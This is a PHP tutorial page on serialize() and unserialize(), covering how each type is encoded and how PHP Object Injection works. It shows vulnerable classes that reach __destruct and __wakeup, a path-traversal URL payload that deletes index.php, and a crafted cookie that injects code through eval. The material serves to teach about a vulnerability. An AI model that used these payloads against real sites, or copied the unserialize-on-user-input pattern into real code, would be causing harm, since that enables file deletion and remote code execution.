# Serialization
# Serialization of different types
Generates a storable representation of a value.
This is useful for storing or passing PHP values around without losing their type and structure.
To make the serialized string into a PHP value again, use unserialize().
# Serializing a string
$string = "Hello world";
echo serialize($string);
// Output:
// s:11:"Hello world";
# Serializing a double
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
# Serializing a float
Float get serialized as doubles.
# Serializing an integer
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
# Serializing a boolean
$boolean = true;
echo serialize($boolean);
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
# Serializing null
$null = null;
echo serialize($null);
// Output:
// N;
# Serializing an array
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);
// This will throw Fatal Error
// $array['function'] = function() { return "function"; };
echo serialize($array);
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}
# Serializing an object
You can also serialize Objects.
When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using unserialize() the __wakeup() member function is called.
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
$object = new abc();
echo serialize($object);
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
# Note that Closures cannot be serialized:
$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"
$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
# Security Issues with unserialize
Using unserialize
function to unserialize data from user input can be dangerous.
A Warning from php.net
**Warning** Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.
# Possible Attacks
- PHP Object Injection
# PHP Object Injection
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:
- The application must have a class which implements a PHP magic method (such as
__wakeup
or__destruct
) that can be used to carry out malicious attacks, or to start a "POP chain". - All of the classes used during the attack must be declared when the vulnerable
unserialize()
is being called, otherwise object autoloading must be supported for such classes.
Example 1 - Path Traversal Attack
The example below shows a PHP class with an exploitable __destruct
method:
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
In this example an attacker might be able to delete an arbitrary file via a Path Traversal attack, for e.g. requesting the following URL:
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
Example 2 - Code Injection attack
The example below shows a PHP class with an exploitable __wakeup method:
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
In this example an attacker might be able to perform a Code Injection attack by sending an HTTP request like this:
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
Where the cookie parameter "data" has been generated by the following script:
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));
# Syntax
- string serialize ( mixed $value )
# Parameters
Parameter | Details |
---|---|
value | The value to be serialized. serialize() (opens new window) handles all types, except the resource (opens new window)-type. You can even serialize() arrays that contain references to itself. Circular references inside the array/object you are serializing will also be stored. Any other reference will be lost. When serializing objects, PHP will attempt to call the member function __sleep() (opens new window) prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using unserialize() (opens new window) the __wakeup() (opens new window) member function is called. Object's private members have the class name prepended to the member name; protected members have a '*' prepended to the member name. These prepended values have null bytes on either side. |
# Remarks
Serialization uses following string structures:
[..]
are placeholders.
Type | Structure |
---|---|
String | s:[size of string]:[value] |
Integer | i:[value] |
Double | d:[value] |
Boolean | b:[value (true = 1 and false = 0)] |
Null | N |
Object | O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)} |
Array | a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)} |